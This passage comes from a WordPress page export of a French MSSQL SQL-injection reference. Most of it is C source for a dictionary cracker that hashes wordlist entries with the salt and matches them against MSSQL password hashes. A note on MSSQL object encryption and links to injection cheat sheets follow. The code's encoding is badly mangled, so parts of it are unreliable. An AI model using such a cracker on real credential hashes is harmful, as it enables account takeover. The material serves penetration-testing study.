if(strlen(pnorm)!=40)<br \/>\n\t                        return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);<br \/>\n\t              hash = hash + 40;<br \/>\n\t              strncpy(pucase,hash,40);<br \/>\n\t              printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nUpper Case\\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pucase);<br \/>\n\t              if(strlen(pucase)!=40)<br \/>\n\t                        return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);<br \/>\n\t              strncpy(pucfirst,pucase,2);<br \/>\n\t              sscanf(pucfirst,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;cmp);<br \/>\n\t      }<br \/>\nelse<br \/>\n\t      {<br \/>\n\t              return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;The password hash has an invalid format!\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t      }<br \/>\nprintf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\n\\n       Trying&#8230;\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\nif(!CryptAcquireContextW(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hProv, NULL , NULL , PROV_RSA_FULL                 ,0))<br \/>\n  {<br \/>\n\t      if(GetLastError()==NTE_BAD_KEYSET)<br \/>\n\t              {<br \/>\n\t                        \/\/ KeySet does not exist. So create a new keyset<br \/>\n\t                        if(!CryptAcquireContext(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hProv,<br \/>\n\t                                             NULL,<br \/>\n\t                                             NULL,<br \/>\n\t                                             PROV_RSA_FULL,<br \/>\n\t                                             CRYPT_NEWKEYSET ))<br \/>\n\t                           {<br \/>\n\t                                    printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;FAILLLLLLL!!!&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t                                    return FALSE;<br \/>\n\t                           }<br \/>\n\t       }<br \/>\n}<br \/>\nwhile(1)<br \/>\n\t     {<br \/>\n\t       \/\/ get a word to try from the file<br \/>\n\t       ZeroMemory(wttf,44);<br \/>\n\t       if(!fgets(wttf,40,fd))<br \/>\n\t          return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nEnd of password file. Didn&#8217;t find the password.\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);<br \/>\n\t       wd++;<br \/>\n\t       len = strlen(wttf);<br \/>\n\t       wttf[len-1]=0x00;<br \/>\n\t       ZeroMemory(uwttf,84);<br \/>\n\t       \/\/ Convert the word to UNICODE<br \/>\n\t       while(count &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; len)<br \/>\n\t                 {<br \/>\n\t                           uwttf[cnt]=wttf[count];<br \/>\n\t                           cnt++;<br \/>\n\t                           uwttf[cnt]=0x00;<br \/>\n\t                           count++;<br \/>\n\t                           cnt++;<br \/>\n\t                 }<br \/>\n\t       len &#8211;;<br \/>\n\t       wp = &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;uwttf;<br \/>\n\t       sscanf(pkey,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;key);<br \/>\n\t       cnt = cnt &#8211; 2;<br \/>\n\t       \/\/ Append the random stuff to the end of<br \/>\n\t       \/\/ the uppercase unicode password<br \/>\n\t       t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;<br \/>\n\t       x = (unsigned char) t;<br \/>\n\t       uwttf[cnt]=x;<br \/>\n\t       cnt++;<br \/>\n\t       t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 8;<br \/>\n\t       t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;<br \/>\n\t     x = (unsigned char) t;<br \/>\n\t     uwttf[cnt]=x;<br \/>\n\t     cnt++;<br \/>\n\t     t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 16;<br \/>\n\t     t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;<br \/>\n\t     x = (unsigned char) t;<br \/>\n\t     uwttf[cnt]=x;<br \/>\n\t     cnt++;<br \/>\n\t     t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 24;<br \/>\n\t     t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;<br \/>\n\t     x = (unsigned char) t;<br \/>\n\t     uwttf[cnt]=x;<br \/>\n\t     cnt++;<br \/>\n\/\/ Create the hash<br \/>\nif(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hHash))<br \/>\n\t     {<br \/>\n\t               printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Error %x during CryptCreatHash!\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, GetLastError());<br \/>\n\t               return 0;<br \/>\n\t     }<br \/>\nif(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))<br \/>\n\t     {<br \/>\n\t               printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Error %x during CryptHashData!\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, GetLastError());<br \/>\n\t               return FALSE;<br \/>\n\t     }<br \/>\nCryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hl,0);<br \/>\n\/\/ Test the first byte only. Much quicker.<br \/>\nif(szhash[0] == cmp)<br \/>\n\t     {<br \/>\n\t               \/\/ If first byte matches try the rest<br \/>\n\t               ptr = pucase;<br \/>\n\t               cnt = 1;<br \/>\n\t               while(cnt &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 20)<br \/>\n\t               {<br \/>\n\t                           ptr = ptr + 2;<br \/>\n\t                           strncpy(pucfirst,ptr,2);<br \/>\n\t                           sscanf(pucfirst,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;cmp);<br \/>\n\t                           if(szhash[cnt]==cmp)<br \/>\n\t                                    cnt ++;<br \/>\n\t                           else<br \/>\n\t                           {<br \/>\n\t                                    break;<br \/>\n\t                           }<br \/>\n\t               }<br \/>\n\t               if(cnt == 20)<br \/>\n\t               {<br \/>\n\t                    \/\/ We&#8217;ve found the password<br \/>\n\t                    printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\\nA MATCH!!! Password is %s\\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,wttf);<br \/>\n\t                    return 0;<br \/>\n\t                 }<br \/>\n\t         }<br \/>\n\t         count = 0;<br \/>\n\t         cnt=0;<br \/>\n\t       }<br \/>\n  return 0;<br \/>\n}<br \/>\n[\/c]<\/p>\n<h2>Chiffrement d&#8217;objets MSSQL et protection de la base<\/h2>\n<p>MSSQL offre la possibilit\u00e9 de prot\u00e9ger les objets d\u00e9finis dans la base, tels que :<\/p>\n<ul>\n<li>Les vues (<em>view<\/em> &#8211; v)<\/li>\n<li>Les fonctions (<em>function<\/em> &#8211; fct)<\/li>\n<li>Les proc\u00e9dures stock\u00e9es (<em>stored procedure<\/em> &#8211; sp)<\/li>\n<li>Les d\u00e9clencheurs (<em>trigger<\/em>)<\/li>\n<\/ul>\n<p>Ces objets s&#8217;av\u00e8rent prot\u00e9g\u00e9s contre l&#8217;\u00e9dition ou m\u00eame la visualisation de leur code source.<\/p>\n<p>MSSQL exploite un algorithme XOR pour appliquer ces protections. Cet algorithme a tr\u00e8s peut vari\u00e9 depuis les premi\u00e8res versions de MSSQL.<\/p>\n<p>Un article complet \u00e0 ce sujet, sur comment prot\u00e9ger ses objets MSSQL, comment les d\u00e9chiffrer, et comment am\u00e9liorer cette protection, a \u00e9t\u00e9 r\u00e9alis\u00e9 pour ASafety ici:\u00a0<a title=\"D\u00e9chiffrement d\u2019objets MSSQL 2000, 2005, 2008 et 2012\" href=\"https:\/\/www.asafety.fr\/cryptologie\/dechiffrement-dobjets-mssql-2000-2005-2008-et-2012\/\" target=\"_blank\">D\u00e9chiffrement d\u2019objets MSSQL 2000, 2005, 2008 et 2012.<\/a><\/p>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"Websec\" href=\"http:\/\/websec.ca\/kb\/sql_injection\" target=\"_blank\">The Knowledge database of websec by Roberto Salgado<\/a><\/li>\n<li>Money and Smallmoney (Transact-SQL) MSDN<\/li>\n<li><a title=\"SQL Injection Cheat Sheet\" href=\"http:\/\/ferruh.mavituna.com\/sql-injection-cheatsheet-oku\/\" target=\"_blank\">SQL Injection CHeat Sheet &#8211; Ferruh Mavituna<\/a><\/li>\n<li><a title=\"PentestMonkey\" href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/sql-injection\/mssql-sql-injection-cheat-sheet\" target=\"_blank\">MSSQL SQL Injection Cheat Sheet &#8211; PentestMonkey<\/a><\/li>\n<li><a title=\"SecurityHorror\" href=\"http:\/\/securityhorror.blogspot.fr\/2012\/03\/mssql-injection-openrowset-side-channel.html\" target=\"_blank\">MSSQL Injection OPENROWSET Side Channel &#8211; SecurityHorror<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Introduction Ce document recense de mani\u00e8re synth\u00e9tique et la plus compl\u00e8te possible, l&#8217;ensemble des vecteurs d&#8217;attaque pour des injections SQL [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1161,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-624","page","type-page","status-publish","has-post-thumbnail","hentry"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/624","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=624"}],"version-history":[{"count":97,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/624\/revisions"}],"predecessor-version":[{"id":1752,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/pages\/624\/revisions\/1752"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1161"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=624"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}